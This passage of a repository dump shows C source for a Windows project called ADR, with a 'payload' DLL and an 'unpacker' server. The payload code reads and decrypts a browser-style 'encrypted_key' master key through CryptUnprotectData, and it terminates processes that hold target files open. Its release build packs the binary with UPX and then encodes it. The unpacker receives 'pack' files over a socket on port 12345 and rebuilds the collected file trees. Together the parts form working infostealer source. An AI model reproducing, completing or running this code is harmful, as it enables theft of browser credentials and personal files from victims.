34 | void PackTargetFiles(Pack* pack, char* base, char** targets, size_t len);
35 | void PackDirectoryFiles(Pack* pack, char* dirpath, char** extensions, size_t len);
36 |
--------------------------------------------------------------------------------
/payload/payload.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | DebugExe
6 | Win32
7 |
8 |
9 | DebugExe
10 | x64
11 |
12 |
13 | Debug
14 | Win32
15 |
16 |
17 | Release
18 | Win32
19 |
20 |
21 | Debug
22 | x64
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | Win32Proj
32 | {300537b1-6233-47ea-bafb-f66e24a26373}
33 | ADR
34 | 10.0
35 | payload
36 |
37 |
38 |
39 | DynamicLibrary
40 | true
41 | v143
42 | Unicode
43 |
44 |
45 | Application
46 | true
47 | v143
48 | Unicode
49 |
50 |
51 | DynamicLibrary
52 | false
53 | v143
54 | true
55 | Unicode
56 |
57 |
58 | DynamicLibrary
59 | true
60 | v143
61 | Unicode
62 |
63 |
64 | Application
65 | true
66 | v143
67 | Unicode
68 |
69 |
70 | DynamicLibrary
71 | false
72 | v143
73 | true
74 | Unicode
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include
102 |
103 |
104 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include
105 |
106 |
107 |
108 |
109 | false
110 |
111 |
112 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include
113 |
114 |
115 | $(SolutionDir)$(SolutionName)\curl\curl_$(LibrariesArchitecture)\include
116 |
117 |
118 |
119 |
120 |
121 |
122 | true
123 | true
124 | true
125 |
126 |
127 | true
128 |
129 |
130 | true
131 |
132 |
133 | true
134 |
135 |
136 | true
137 |
138 |
139 | true
140 |
141 |
142 | true
143 |
144 |
145 |
146 | Level3
147 | true
148 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
149 | true
150 | stdcpplatest
151 | stdc17
152 | MultiThreadedDebugDLL
153 |
154 |
155 | Windows
156 | true
157 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
158 |
159 |
160 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll
161 |
162 |
163 |
164 |
165 | Level3
166 | true
167 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_DEBUG_EXE
168 | true
169 | stdcpplatest
170 | stdc17
171 | MultiThreadedDebugDLL
172 |
173 |
174 | Windows
175 | true
176 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 | Level3
186 | true
187 | true
188 | true
189 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);
190 | true
191 | stdcpplatest
192 | stdc17
193 | MultiThreadedDLL
194 |
195 |
196 | Windows
197 | true
198 | true
199 | true
200 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
201 |
202 |
203 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll
204 |
205 |
206 |
207 |
208 | Level3
209 | true
210 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions);
211 | true
212 | stdcpplatest
213 | stdc17
214 | MultiThreadedDebugDLL
215 |
216 |
217 | Windows
218 | true
219 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
220 |
221 |
222 | python $(SolutionDir)encode.py $(SolutionDir)x64\$(Configuration)\ADR.dll
223 |
224 |
225 |
226 |
227 | Level3
228 | true
229 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions);;_DEBUG_EXE
230 | true
231 | stdcpplatest
232 | stdc17
233 | MultiThreadedDebugDLL
234 |
235 |
236 | Windows
237 | true
238 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 | Level3
248 | true
249 | true
250 | false
251 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions);
252 | true
253 | Default
254 | Default
255 | MultiThreadedDLL
256 | MinSpace
257 | AnySuitable
258 | false
259 | false
260 | true
261 | None
262 | Size
263 | true
264 | true
265 | None
266 |
267 |
268 | Windows
269 | true
270 | true
271 | false
272 | Ws2_32.lib;Crypt32.lib;Wldap32.lib;Normaliz.lib;%(AdditionalDependencies)
273 | NoErrorReport
274 | false
275 |
276 |
277 | upx --best $(TargetPath) && python $(SolutionDir)encode.py $(TargetPath)
278 |
279 |
280 |
281 |
282 |
283 |
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 |
--------------------------------------------------------------------------------
/payload/payload.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 |
35 |
36 | Header Files
37 |
38 |
39 | Header Files
40 |
41 |
42 | Header Files
43 |
44 |
45 | Header Files
46 |
47 |
48 | Header Files
49 |
50 |
51 |
--------------------------------------------------------------------------------
/payload/payload.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/payload/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #define _CRT_SECURE_NO_WARNINGS
3 | #define _CRTDBG_MAP_ALLOC
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include
13 | #include
14 |
15 | #include
16 |
17 | #include
18 | #include
19 | #include
20 | #include
21 |
22 | #pragma comment(lib, "ws2_32.lib")
23 | #pragma comment(lib, "shlwapi.lib")
24 | #pragma comment(lib, "cabinet.lib")
25 | #pragma comment(lib, "rstrtmgr.lib")
26 |
27 | #ifdef _DEBUG_EXE
28 | #include
29 | #endif // _DEBUG_EXE
30 |
31 | #define BUFFER_SIZE 4096 // BUFSIZ * 8
32 |
33 |
34 | /*
35 | #include
36 | #include
37 | #include
38 | #include
39 | #include
40 | #pragma comment(lib, "iphlpapi.lib")
41 |
42 | #include
43 | #pragma comment(lib, "wininet.lib")
44 |
45 | */
46 |
47 |
48 | #define SAFE_FREE(x)\
49 | if(x != NULL)\
50 | {\
51 | free(x);\
52 | }
53 |
54 | #define NULL_RET(x, ret)\
55 | if(x == NULL)\
56 | {\
57 | return ret;\
58 | }
59 |
--------------------------------------------------------------------------------
/payload/utils.c:
--------------------------------------------------------------------------------
1 | #include "utils.h"
2 |
3 | wchar_t* StringToWString(const char* str)
4 | {
5 | int size = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
6 | NULL_RET(size, NULL);
7 |
8 | wchar_t* result = (wchar_t*)malloc(sizeof(wchar_t) * size);
9 | NULL_RET(result, NULL);
10 |
11 | MultiByteToWideChar(CP_UTF8, 0, str, -1, result, size);
12 | return result;
13 | }
14 |
15 | char* WStringToString(const wchar_t* wstr)
16 | {
17 | int size = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);
18 | NULL_RET(size, NULL);
19 |
20 | char* result = (char*)malloc(size);
21 | NULL_RET(result, NULL);
22 |
23 | WideCharToMultiByte(CP_UTF8, 0, wstr, -1, result, size, NULL, NULL);
24 | return result;
25 | }
26 |
27 |
28 | char* GetEncryptionKeyString(const char* path)
29 | {
30 | if (IsFileBusy(path))
31 | {
32 | if (!TerminateBusyFileProc(path))
33 | {
34 | return NULL;
35 | }
36 | }
37 |
38 | HANDLE hFile = CreateFileA(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
39 | if (hFile == INVALID_HANDLE_VALUE) return NULL;
40 |
41 | LARGE_INTEGER fileSize;
42 | if (!GetFileSizeEx(hFile, &fileSize))
43 | {
44 | CloseHandle(hFile);
45 | return NULL;
46 | }
47 |
48 | DWORD bytesRead;
49 | char* buffer = (char*)malloc(fileSize.QuadPart + 1);
50 | if (!buffer)
51 | {
52 | CloseHandle(hFile);
53 | return NULL;
54 | }
55 |
56 | if (!ReadFile(hFile, buffer, fileSize.QuadPart, &bytesRead, NULL))
57 | {
58 | free(buffer);
59 | CloseHandle(hFile);
60 | return NULL;
61 | }
62 | CloseHandle(hFile);
63 | buffer[bytesRead] = '\0';
64 |
65 | const char* keyToFind = "\"encrypted_key\"";
66 | const char* endQuote = "\"";
67 |
68 | const char* keyStart = strstr(buffer, keyToFind);
69 |
70 | if (keyStart)
71 | {
72 | keyStart += strlen(keyToFind);
73 |
74 | char* key = malloc(sizeof(0));
75 | size_t len = 0;
76 | if (!key)
77 | {
78 | free(buffer);
79 | return NULL;
80 | }
81 |
82 | bool readKey = false;
83 | while (*keyStart)
84 | {
85 | if (*keyStart == ' ' || *keyStart == ':')
86 | {
87 | keyStart++;
88 | continue;
89 | }
90 |
91 | if (*keyStart == '"')
92 | {
93 | if (readKey)
94 | {
95 | readKey = false;
96 |
97 | key = realloc(key, len + 1);
98 | key[len] = '\0';
99 | free(buffer);
100 | return key;
101 | }
102 | else
103 | {
104 | readKey = true;
105 | }
106 | }
107 | else if (readKey)
108 | {
109 | key = realloc(key, len + 1);
110 | key[len] = *keyStart;
111 | len++;
112 | }
113 |
114 | keyStart++;
115 | }
116 |
117 | free(key);
118 | }
119 |
120 | free(buffer);
121 | return NULL;
122 | }
123 |
124 | char* ExtractEncyrptionKey(const char* ckey)
125 | {
126 | if (ckey == NULL) return NULL;
127 |
128 | size_t key_size = 0;
129 | char* key = Base64Decode(ckey, strlen(ckey), &key_size);
130 | if (key == NULL || key_size <= 5)
131 | {
132 | SAFE_FREE(key);
133 | return NULL;
134 | }
135 |
136 | DATA_BLOB input_blob;
137 | input_blob.cbData = key_size - 5;
138 | input_blob.pbData = key + 5;
139 |
140 | DATA_BLOB output_blob;
141 | if (!CryptUnprotectData(&input_blob, NULL, NULL, NULL, NULL, 0, &output_blob))
142 | {
143 | free(key);
144 | return NULL;
145 | }
146 |
147 | char* master_key = (char*)malloc(output_blob.cbData + 1);
148 | if (master_key == NULL)
149 | {
150 | LocalFree(output_blob.pbData);
151 | free(key);
152 | return NULL;
153 | }
154 | memcpy(master_key, output_blob.pbData, output_blob.cbData);
155 | master_key[output_blob.cbData] = '\0';
156 |
157 | LocalFree(output_blob.pbData);
158 | free(key);
159 |
160 | size_t master_size = output_blob.cbData;
161 | return Base64Encode(master_key, master_size);
162 | }
163 |
164 | bool TerminateBusyFileProc(const char* path)
165 | {
166 | DWORD dwSession;
167 | WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1] = { 0 };
168 | DWORD dwError = RmStartSession(&dwSession, 0, szSessionKey);
169 |
170 | if (dwError != ERROR_SUCCESS)
171 | {
172 | return false;
173 | }
174 |
175 | const wchar_t* filepath = StringToWString(path);
176 | if (!filepath)
177 | {
178 | RmEndSession(dwSession);
179 | return false;
180 | }
181 |
182 | dwError = RmRegisterResources(dwSession, 1, &filepath, 0, NULL, 0, NULL);
183 | if (dwError != ERROR_SUCCESS)
184 | {
185 | RmEndSession(dwSession);
186 | free(filepath);
187 | return false;
188 | }
189 |
190 | DWORD dwReason;
191 | UINT nProcInfoNeeded;
192 | UINT nProcInfo = 10;
193 | RM_PROCESS_INFO rgpi[10];
194 |
195 | dwError = RmGetList(dwSession, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason);
196 | if (dwError != ERROR_SUCCESS)
197 | {
198 | RmEndSession(dwSession);
199 | free(filepath);
200 | return false;
201 | }
202 |
203 | for (UINT i = 0; i < nProcInfo; i++)
204 | {
205 | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, rgpi[i].Process.dwProcessId);
206 | if (!hProcess) continue;
207 |
208 | //SendMessageA(hProcess, WM_CLOSE, 0, 0);
209 | TerminateProcess(hProcess, 0);
210 |
211 | CloseHandle(hProcess);
212 | }
213 |
214 | RmEndSession(dwSession);
215 | free(filepath);
216 | return true;
217 | }
218 |
219 | bool IsFileBusy(const char* path)
220 | {
221 | HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
222 | if (hFile == INVALID_HANDLE_VALUE) return true;
223 | CloseHandle(hFile);
224 | return false;
225 | }
226 |
227 | char* GetWinFolderById(REFKNOWNFOLDERID id)
228 | {
229 | PWSTR pwPath = NULL;
230 | char* path = NULL;
231 |
232 | HRESULT result = SHGetKnownFolderPath(id, 0, NULL, &pwPath);
233 | if (SUCCEEDED(result))
234 | {
235 | path = WStringToString(pwPath);
236 | }
237 | CoTaskMemFree(pwPath);
238 | return path;
239 | }
240 |
241 | bool IsValidDirectory(const WIN32_FIND_DATAA findData)
242 | {
243 | return (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
244 | strcmp(findData.cFileName, ".") != 0 &&
245 | strcmp(findData.cFileName, "..") != 0;
246 | }
--------------------------------------------------------------------------------
/payload/utils.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "stdafx.h"
3 | #include "b64/b64.h"
4 |
5 | #ifdef _DEBUG || _DEBUG_EXE
6 | #define DBG_FILE_SIZE(path)\
7 | {\
8 | WIN32_FILE_ATTRIBUTE_DATA fileInfo;\
9 | if (GetFileAttributesExA(path, GetFileExInfoStandard, &fileInfo))\
10 | {\
11 | ULARGE_INTEGER fileSize;\
12 | fileSize.LowPart = fileInfo.nFileSizeLow;\
13 | fileSize.HighPart = fileInfo.nFileSizeHigh;\
14 | printf("%s: (%llu)\n", path, fileSize.QuadPart);\
15 | }\
16 | }
17 | #endif // _DEBUG || _DEBUG_EXE
18 |
19 |
20 | wchar_t* StringToWString(const char* str);
21 | char* WStringToString(const wchar_t* wstr);
22 |
23 | char* GetEncryptionKeyString(const char* path);
24 | char* ExtractEncyrptionKey(const char* key);
25 |
26 | bool TerminateBusyFileProc(const char* path);
27 | bool IsFileBusy(const char* path);
28 |
29 | char* GetWinFolderById(REFKNOWNFOLDERID id);
30 | bool IsValidDirectory(const WIN32_FIND_DATAA findData);
--------------------------------------------------------------------------------
/unpacker/main.c:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 |
3 | #include "sock/sock.h"
4 | #include "unpack/unpack.h"
5 |
6 | int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ char* pCmdLine, _In_ int nCmdShow)
7 | {
8 | #ifdef _DEBUG
9 | _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
10 | #endif // _DEBUG
11 |
12 | if (AllocConsole())
13 | {
14 | FILE* fDummy;
15 | freopen_s(&fDummy, "CONOUT$", "w", stdout);
16 | freopen_s(&fDummy, "CONOUT$", "w", stderr);
17 | freopen_s(&fDummy, "CONIN$", "r", stdin);
18 |
19 | fflush(stdout);
20 | fflush(stderr);
21 | fflush(stdin);
22 | }
23 |
24 | if (__argc <= 1)
25 | {
26 | StartServer();
27 | }
28 | else
29 | {
30 | ADR_LOG("Unpacker Mode");
31 | for (size_t i = 1; i < __argc; i++)
32 | {
33 | char* file = __argv[i];
34 | if (!PathFileExistsA(file))
35 | {
36 | ADR_LOG("Pack not found (%s)", file);
37 | continue;
38 | }
39 |
40 | if (!PackDecompress(file))
41 | {
42 | ADR_LOG("Pack decompression failed (%s)", file);
43 | continue;
44 | }
45 |
46 | if (!PackBuildStructure(file))
47 | {
48 | ADR_LOG("Pack structure corrupted (%s)", file);
49 | continue;
50 | }
51 |
52 | ADR_LOG("Unpack success (%s)", file);
53 | }
54 | }
55 |
56 |
57 | #ifdef _DEBUG
58 | _CrtDumpMemoryLeaks();
59 | #endif // _DEBUG
60 |
61 | WaitForInputIdle(GetCurrentProcess(), INFINITE);
62 | return EXIT_SUCCESS;
63 | }
--------------------------------------------------------------------------------
/unpacker/sock/sock.c:
--------------------------------------------------------------------------------
1 | #include "sock.h"
2 |
3 |
4 | void HandleClient(SOCKET client)
5 | {
6 | SYSTEMTIME current_time;
7 | GetLocalTime(¤t_time);
8 |
9 | char filename[50];
10 | snprintf(filename, sizeof(filename), "pack_%04d-%02d-%02d_%02d-%02d-%02d",
11 | current_time.wYear, current_time.wMonth, current_time.wDay,
12 | current_time.wHour, current_time.wMinute, current_time.wSecond);
13 |
14 | HANDLE hFile = CreateFileA(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
15 | if (hFile == INVALID_HANDLE_VALUE)
16 | {
17 | ADR_LOG("Error creating file (%s)", filename);
18 | return;
19 | }
20 |
21 | char buffer[BUFFER_SIZE];
22 | int bytes_received = 0;
23 | while (1)
24 | {
25 | bytes_received = recv(client, buffer, BUFFER_SIZE, 0);
26 | if (bytes_received <= 0)
27 | {
28 | break;
29 | }
30 |
31 | DWORD bytes_written = 0;
32 | if (!WriteFile(hFile, buffer, bytes_received, &bytes_written, NULL) || bytes_written != bytes_received)
33 | {
34 | ADR_LOG("Error writing to file (%s)", filename);
35 | break;
36 | }
37 | }
38 |
39 | CloseHandle(hFile);
40 | closesocket(client);
41 | }
42 |
43 |
44 | bool StartServer()
45 | {
46 | ADR_LOG("Server Mode");
47 |
48 | WSADATA wsaData;
49 | if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
50 | {
51 | ADR_LOG("WSAStartup failed");
52 | return false;
53 | }
54 |
55 | SOCKET server_socket;
56 | server_socket = socket(AF_INET, SOCK_STREAM, 0);
57 |
58 | if (server_socket == INVALID_SOCKET)
59 | {
60 | ADR_LOG("Socket creation failed");
61 | return false;
62 | }
63 |
64 | struct sockaddr_in server_addr;
65 | server_addr.sin_family = AF_INET;
66 | server_addr.sin_addr.s_addr = INADDR_ANY;
67 | server_addr.sin_port = htons(ADR_PORT);
68 |
69 | if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR)
70 | {
71 | ADR_LOG("Socket binding failed");
72 | closesocket(server_socket);
73 | return false;
74 | }
75 |
76 | if (listen(server_socket, 5) == SOCKET_ERROR)
77 | {
78 | ADR_LOG("Listen failed");
79 | closesocket(server_socket);
80 | return false;
81 | }
82 |
83 | ADR_LOG("Server listening on port %d", ADR_PORT);
84 |
85 | while (1) {
86 | SOCKET client_socket;
87 | struct sockaddr_in client_addr;
88 | int client_addr_len = sizeof(client_addr);
89 |
90 | client_socket = accept(server_socket, (struct sockaddr*)&client_addr, &client_addr_len);
91 | if (client_socket == INVALID_SOCKET)
92 | {
93 | ADR_LOG("Accept failed");
94 | continue;
95 | }
96 |
97 | ADR_LOG("Accepted connection from %s:%d\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
98 |
99 | HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)HandleClient, (LPVOID)client_socket, 0, NULL);
100 | if (thread == NULL)
101 | {
102 | ADR_LOG("Thread creation failed");
103 | closesocket(client_socket);
104 | continue;
105 | }
106 |
107 | CloseHandle(thread);
108 | }
109 |
110 | closesocket(server_socket);
111 | WSACleanup();
112 |
113 | return true;
114 | }
115 |
--------------------------------------------------------------------------------
/unpacker/sock/sock.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "../stdafx.h"
3 |
4 |
5 | void HandleClient(SOCKET client);
6 |
7 | bool StartServer();
--------------------------------------------------------------------------------
/unpacker/stdafx.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define _CRT_SECURE_NO_WARNINGS
4 | #define _CRTDBG_MAP_ALLOC
5 | #define _WINSOCK_DEPRECATED_NO_WARNINGS
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include
12 | #include
13 |
14 | #include
15 | #include
16 |
17 | #include
18 | #include
19 | #include
20 |
21 | #pragma comment(lib, "cabinet.lib")
22 | #pragma comment(lib, "ws2_32.lib")
23 | #pragma comment(lib, "shlwapi.lib")
24 |
25 | #ifdef _DEBUG || _DEBUG_EXE
26 | #include
27 | #endif
28 |
29 | #define ADR_LOG(x, ...) printf("[ADR] " x "\n", __VA_ARGS__)
30 | #define ADR_PORT 12345
31 | #define BUFFER_SIZE 4096 //BUFSIZ * 8
32 |
--------------------------------------------------------------------------------
/unpacker/unpack/unpack.c:
--------------------------------------------------------------------------------
1 | #include "unpack.h"
2 |
3 | bool PackDecompress(char* file)
4 | {
5 | HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
6 | if (hFile == INVALID_HANDLE_VALUE) return false;
7 |
8 | LARGE_INTEGER file_size;
9 | if (!GetFileSizeEx(hFile, &file_size))
10 | {
11 | return false;
12 | }
13 |
14 | size_t in_size = file_size.QuadPart;
15 | BYTE* in_buffer = malloc(in_size);
16 | if (!in_buffer)
17 | {
18 | return false;
19 | }
20 |
21 | DWORD bytes_read = 0;
22 | if (!ReadFile(hFile, in_buffer, in_size, &bytes_read, NULL))
23 | {
24 | free(in_buffer);
25 | return false;
26 | }
27 |
28 | if (bytes_read != in_size)
29 | {
30 | free(in_buffer);
31 | return false;
32 | }
33 |
34 | DECOMPRESSOR_HANDLE hDecompressor = NULL;
35 | if (!CreateDecompressor(COMPRESS_ALGORITHM_XPRESS_HUFF, NULL, &hDecompressor))
36 | {
37 | free(in_buffer);
38 | return false;
39 | }
40 |
41 |
42 | size_t new_out_size = 0;
43 | Decompress(hDecompressor, in_buffer, file_size.QuadPart, NULL, 0, &new_out_size);
44 |
45 | size_t out_size = new_out_size;
46 | BYTE* out_buffer = malloc(out_size);
47 |
48 | if (!Decompress(hDecompressor, in_buffer, file_size.QuadPart, out_buffer, out_size, &new_out_size))
49 | {
50 | free(out_buffer);
51 | free(in_buffer);
52 | CloseCompressor(hDecompressor);
53 | return false;
54 | }
55 |
56 | out_buffer = realloc(out_buffer, new_out_size);
57 | free(in_buffer);
58 | CloseCompressor(hDecompressor);
59 | CloseHandle(hFile);
60 |
61 | hFile = CreateFileA(file, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
62 |
63 | DWORD bytes_written = 0;
64 | if (!WriteFile(hFile, out_buffer, new_out_size, &bytes_written, NULL))
65 | {
66 | free(out_buffer);
67 | CloseHandle(hFile);
68 | return false;
69 | }
70 |
71 | if (bytes_written != new_out_size)
72 | {
73 | free(out_buffer);
74 | CloseHandle(hFile);
75 | return false;
76 | }
77 |
78 | free(out_buffer);
79 | CloseHandle(hFile);
80 | return true;
81 | }
82 |
83 | bool PackBuildStructure(char* file)
84 | {
85 | HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
86 | if (hFile == INVALID_HANDLE_VALUE) return false;
87 |
88 |
89 | BYTE byte = 0;
90 | DWORD bytes_read = 0;
91 | DWORD size = 0;
92 |
93 | DataFileState state = R_PATH;
94 |
95 | char tmp_size[sizeof(size_t)];
96 | size_t file_size = 0;
97 | char* file_path = malloc(0);
98 |
99 | HANDLE hOutFile = INVALID_HANDLE_VALUE;
100 |
101 |
102 | char* outdir = malloc(strlen(file) + 5);
103 | if (!outdir) return false;
104 |
105 | outdir = strcpy(outdir, file);
106 | outdir = strcat(outdir, "_out");
107 |
108 | if (!PathIsDirectoryA(outdir))
109 | {
110 | if (!CreateDirectoryA(outdir, NULL))
111 | {
112 | free(outdir);
113 | return false;
114 | }
115 | }
116 |
117 | while (ReadFile(hFile, &byte, sizeof(byte), &bytes_read, NULL) && bytes_read > 0)
118 | {
119 | switch (state)
120 | {
121 | case R_PATH:
122 | {
123 | file_path = realloc(file_path, size + 1);
124 | file_path[size] = byte;
125 | size++;
126 |
127 | if (byte != 0)
128 | {
129 | break;
130 | }
131 |
132 |
133 | char* file_dest = PackGetOutName(outdir, file_path);
134 | if (file_dest == NULL)
135 | {
136 | free(file_path);
137 | free(outdir);
138 | return false;
139 | }
140 |
141 | char* dir_dest = malloc(strlen(file_dest) + 1);
142 | if (dir_dest == NULL)
143 | {
144 | free(file_path);
145 | free(outdir);
146 |
147 | free(file_dest);
148 | return false;
149 | }
150 |
151 | strcpy(dir_dest, file_dest);
152 | PathRemoveFileSpecA(dir_dest);
153 |
154 | if (!PathIsDirectoryA(dir_dest, NULL))
155 | {
156 | if (!CreateDirectoryA(dir_dest, NULL))
157 | {
158 | free(file_path);
159 | free(outdir);
160 |
161 | free(file_dest);
162 | free(dir_dest);
163 |
164 | return false;
165 | }
166 | }
167 |
168 | hOutFile = CreateFileA(file_dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
169 | if (hOutFile == INVALID_HANDLE_VALUE)
170 | {
171 | free(file_path);
172 | free(outdir);
173 |
174 | free(file_dest);
175 | free(dir_dest);
176 |
177 | return false;
178 | }
179 |
180 | free(file_dest);
181 | free(dir_dest);
182 |
183 | file_path = realloc(file_path, 0);
184 |
185 | state = R_FILESIZE;
186 | size = 0;
187 | }
188 | break;
189 | case R_FILESIZE:
190 | {
191 | tmp_size[size] = byte;
192 | size += 1;
193 |
194 | if (size >= sizeof(size_t))
195 | {
196 | memmove(&file_size, tmp_size, sizeof(size_t));
197 |
198 | state = R_FILEDATA;
199 | size = 0;
200 | }
201 | }
202 | break;
203 | case R_FILEDATA:
204 | {
205 | WriteFile(hOutFile, &byte, sizeof(BYTE), 0, 0);
206 | size = file_size - 1;
207 |
208 | char buffer[BUFFER_SIZE];
209 | size_t next_size = BUFFER_SIZE;
210 | while(1)
211 | {
212 | if ((int)(size - next_size) <= 0)
213 | {
214 | next_size = size;
215 | }
216 |
217 | if (ReadFile(hFile, &buffer, next_size, &bytes_read, NULL) && bytes_read > 0)
218 | {
219 | WriteFile(hOutFile, &buffer, next_size, 0, NULL);
220 |
221 | size -= next_size;
222 | if (size <= 0)
223 | {
224 | break;
225 | }
226 | }
227 | else {
228 | break;
229 | }
230 | }
231 |
232 | CloseHandle(hOutFile);
233 | hOutFile = INVALID_HANDLE_VALUE;
234 |
235 | state = R_PATH;
236 | file_size = 0;
237 | size = 0;
238 | }
239 | break;
240 | }
241 | }
242 |
243 | CloseHandle(hFile);
244 | free(file_path);
245 | free(outdir);
246 | return true;
247 | }
248 |
249 | char* PackGetOutName(char* base_path, char* ext_path)
250 | {
251 | size_t base_len = strlen(base_path);
252 | size_t ext_len = strlen(ext_path);
253 |
254 | size_t findex = 0;
255 | for (size_t i = 0; i < ext_len; i++)
256 | {
257 | if (ext_path[i] == '\\')
258 | {
259 | findex = i;
260 | ext_path[i] = '_';
261 | }
262 | else if (ext_path[i] == ':' || ext_path[i] == '.')
263 | {
264 | ext_path[i] = '_';
265 | }
266 | }
267 |
268 | ext_path[findex] = '\\';
269 |
270 |
271 | char* outpath = malloc(base_len + ext_len + 2);
272 | memcpy(outpath, base_path, base_len + 1);
273 | outpath[strlen(outpath)] = '\\';
274 | memcpy(outpath + base_len + 1, ext_path, ext_len + 1);
275 | return outpath;
276 | }
--------------------------------------------------------------------------------
/unpacker/unpack/unpack.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "../stdafx.h"
3 |
4 | typedef enum DataFileState {
5 | R_PATH = 0,
6 | R_FILESIZE,
7 | R_FILEDATA
8 | }DataFileState;
9 |
10 | bool PackDecompress(char* file);
11 |
12 | bool PackBuildStructure(char* file);
13 |
14 | char* PackGetOutName(char* base, char* ext_path);
--------------------------------------------------------------------------------
/unpacker/unpacker.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 |
--------------------------------------------------------------------------------
/unpacker/unpacker.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
7 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58
8 | WindowsLocalDebugger
9 |
10 |
11 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58
